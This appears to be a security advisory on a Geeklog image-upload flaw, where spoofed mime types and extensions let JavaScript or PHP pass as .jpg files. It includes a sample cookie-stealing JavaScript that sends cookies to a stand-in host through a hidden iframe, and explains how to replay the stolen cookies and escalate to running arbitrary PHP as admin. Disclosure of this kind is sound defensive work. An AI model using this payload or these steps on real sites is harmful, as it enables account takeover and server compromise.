Remote File Upload
==================
Geeklog has several options to upload images.  The image upload process does
not validate the mime type of the upload.  Geeklog trusts the mime type
specified by the browser and also checks the file extension, both of which
are very easy to spoof.

Files with .jpg extensions can be uploaded, but these file can contain
anything, like javascript or PHP code. Using FireFox you can upload any
jpg extension and it will be accepted since FireFox sets the mime type
based on file extension.

Uploading usually requires that you first create a user account.  Once an
account is created, you can upload a user photo, which could take advantage
of this vulnerability.


Potential Abuse
===============
Executable javascript can easily be uploaded.  There are several XSS holes in
many of the Geeklog plugins which could run the uploaded javascript. If a simple
cookie stealing javascript were uploaded, it could be used to expose the Geeklog
uid and password hash which is as good as having the actual password.

Sample JavaScript

document.write('<iframe src="http://my.cookiestealingsite.com/cs.php?ck='
    + document.cookie + '" id="myFrame"  frameborder="0"  vspace="0"
    hspace="0"  marginwidth="0"  marginheight="0" width="0"  scrolling="no"
    height="0"  style="visibility:hidden;"></iframe>');

Once the uid and password hash is known, you can set a cookie in  your browser:

geeklog=[uid]; password=[md5 hash];

which gives you instant access to everything the user has access to. If you
expose an administrative account, you have full access to the admin panel
where you can set the staticpages.PHP permission to true, then create a
static page that will run any PHP script you desire, potentially exposing
the entire server.

The cookie exploit was originally documented by Nine:Situations:Group::bookoo
http://www.milw0rm.com/exploits/8376 and remains unfixed.

Successful exploitation requires the ability to execute the uploaded JavaScript.
The Geeklog Forum program can be used as an attack vector since it does not
properly validate many $_GET / $_POST variables.
